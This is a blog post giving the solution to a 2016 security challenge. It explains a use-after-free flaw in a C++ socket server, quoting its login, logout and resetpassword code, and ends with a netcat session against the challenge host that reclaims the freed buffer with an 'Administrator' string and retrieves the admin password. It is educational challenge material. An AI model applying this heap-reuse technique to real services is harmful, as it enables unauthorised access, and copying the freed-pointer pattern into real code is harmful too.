zondag 10 april 2016

Cyber Security Challenge - Solution

The vulnerability you were looking for is a Use After Free bug.

The application uses the "authenticationinfo" string to store if the user is logged in as an administrator or anonymous user. This is done in the following code block, as part of the "password" operand.
  1.                 //create authorization strings
  2. authenticationinfo = (char *)malloc(200);
  3.                 if (authenticationinfo == NULL)
  4.                 {
  5.                     cout << "malloc error" << endl;
  6.                     continue;
  7.                 }
  8.                 memset(authenticationinfo, 0x00200);
  9.                 strcat_s(authenticationinfo, 200"Logged in user ");
  10.                 if (password.compare(secretPassword) == 0)
  11.                 {
  12.                     string msg = "you are now logged in as an admin\n";
  13.                     send(ClientSocket, msg.c_str(), msg.length()0);
  14.                     strcat_s(authenticationinfo, 200"Administrator");
  15.                 }
  16.                 else
  17.                 {
  18.                     string msg = "Authentication failure\n";
  19.                     send(ClientSocket, msg.c_str(), msg.length()0);
  20.                     strcat_s(authenticationinfo, 200"Anonymous");
  21.                 }


The "authenticationinfo" string is 200 bytes of data stored on the heap. When the user logs out via the "logout" operand, this memory is freed by the application.

  1.             else if (operand.compare("logout") == 0)
  2. {
  3.                 cout << "logout operand called" << endl;
  4.                 if (authenticationinfo != NULL)
  5.                 {
  6.                     free(authenticationinfo);
  7.                 }
  8.                 string msg = "you are now logged out\nPlease Disconnect\n";
  9.                 send(ClientSocket, msg.c_str(), msg.length()0);
  10.             }


However, the connection is not closed, so the user can still send commands to the server. After logout, "authenticationinfo" points to freed memory so it is possible to reclaim the memory at this pointer by allocating 200 bytes.

The "resetpassword" operand allows the user to allocate memory on the heap and specify the size of the allocated blob via the length of the string that is passed.



  1.             else if (operand.compare("resetpassword") == 0)
  2. {
  3.                 cout << "reset pass operand" << endl;
  4.                 //get parameter
  5.                 string newPassword = getParameter(recvbuf);
  6.  
  7.                 unsigned int passwordlength = newPassword.length();
  8.                 if (passwordlength > 300)
  9.                 {
  10.                     wcout << "new password too long";
  11.                     continue;
  12.                 }
  13.                 char *newpass = (char *)malloc(passwordlength);
  14.                 wcout << "allocated " << passwordlength << endl;
  15.                 if (newpass == NULL)
  16.                 {
  17.                     cout << "malloc error; restarting program" << endl;
  18.                 }
  19.                 memcpy(newpass, newPassword.c_str(), passwordlength);
  20.  
  21.                 //write new password to file
  22.                 writeNewPassword(newpass);
  23.  

As a result, calling "resetpassword" with a 200 byte argument will allocate 200 bytes on the heap. If this is done after "authenticationinfo" is freed, the memory will be allocated at the address that "authenticationinfo" points to.

A final step in the exploitation process is using the "getpassword" operand. This operand contains a stale pointer to the "authenticationinfo" string. The code checks if the string contains "Administrator".
At this point, we have re-used the memory to where "authenticationinfo" points by our own string via "resetpassword". We can include "Administrator" in our string.

The following commands can be used to exploit the issue:

C:\Users\Sean>nc 52.23.249.148 9000 -vvvvvv
ec2-52-23-249-148.compute-1.amazonaws.com [52.23.249.148] 9000 (?) open
login:Administrator
password:test **this will create the 200 byte authenticationinfo string **
Authentication failure
logout: ** this will free the authenticationinfo string **
you are now logged out
Please Disconnect
resetpassword:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAdministratoraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ** this will allocated 200 bytes on the heap, at the location where the "authenticationinfo" string was stored **
getpassword: ** here the program will check if the string contains "Administrator" and return the password **
Your secret password is: !!Erick*Is*Zuivertjes*2016!!